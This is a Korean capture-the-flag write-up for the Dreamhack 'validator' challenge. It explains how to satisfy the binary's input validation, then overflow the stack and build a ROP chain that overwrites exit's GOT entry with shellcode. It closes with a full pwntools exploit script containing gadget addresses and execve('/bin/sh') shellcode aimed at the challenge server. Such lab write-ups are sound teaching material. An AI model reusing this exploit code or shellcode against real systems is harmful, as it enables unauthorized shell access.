code
분석 - IDA
validate
함수가 중요해보인다.validate
을 exit 없이 무사히 끝내고 RET
을 조작해서 셸을 따면 되겠다.checksec
ROP Chaining
을 하면 될 것 같다.validate 우회
int validate(char *s, int n)
{
unsigned int i;
int j;
for (i = 0; i < 10; i++)
if (s[i] != correct[i])
exit(0);
for (j = 11; j < n; j++)
if (s[j] != s[j+1] + 1)
exit(0);
return 0;
}
validate
함수를 정리해보면 위와 같다.correct
는 data영역에 DREAMHACK!
으로 저장되어 있다.s[0]
~s[9]
는 b'DREAMHACK!'
이어야 한다.s[10]
은 내가 임의로 공백을 넣어주고, 그 다음 글자부터는 계속 하나씩 줄어든다. 그거를 j
가 128이 될때까지 계속 돌리면 된다.payload = b'DREAMHACK!'
payload += b' '
list = []
for i in range(118, 0, -1) :
list.append(i)
payload += bytearray(list)
exit_got을 shellcode로 overwrite
read(0, exit_got, len(shellcode));
로 exit_got
을 바꾸고 exit
을 실행하게 payload를 만들어준다.read 함수 syscall
rdi
rsi
rdx
payload
에서는 rdx
값이 항상 적당히 큰 값들로 세팅되어있어서 따로 건들지 않았다. 하지만 이번에는 shellcode
를 read해야 하기 때문에 rdx
를 큰 크기로 받도록 했다.payload += b'A' * (0x88 - len(payload)) # SFP까지 다 채움!
# GOT overwrite: read(0, eixt_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(exit_got) + p64(0)
payload += p64(pop_rdx) + p64(len(shellcode))
payload += p64(read_plt)
# exit() -> run shellcode
payload += p64(exit_got)
p.send(payload)
sleep(1)
p.send(shellcode)
exploit
from pwn import *
p = remote('host3.dreamhack.games', 12182)
e = ELF('./validator_dist')
bss = e.bss()
read_plt = e.plt['read']
exit_got = e.got['exit']
exit_plt = e.plt['exit']
pop_rdi = 0x4006f3
pop_rsi_r15 = 0x4006f1
pop_rdx = 0x40057b
ret = 0x40044e
shellcode = b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
payload = b'DREAMHACK!'
payload += b' '
list = []
for i in range(118, 0, -1) :
list.append(i)
payload += bytearray(list)
payload += b'A' * (0x88 - len(payload)) # SFP까지 다 채움!
# GOT overwrite: read(0, eixt_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(exit_got) + p64(0)
payload += p64(pop_rdx) + p64(len(shellcode))
payload += p64(read_plt)
# exit() -> run shellcode
payload += p64(exit_got)
p.send(payload)
sleep(1)
p.send(shellcode)
p.interactive()
shellcode
를 넣어도 잘 되는 것이 신기했다.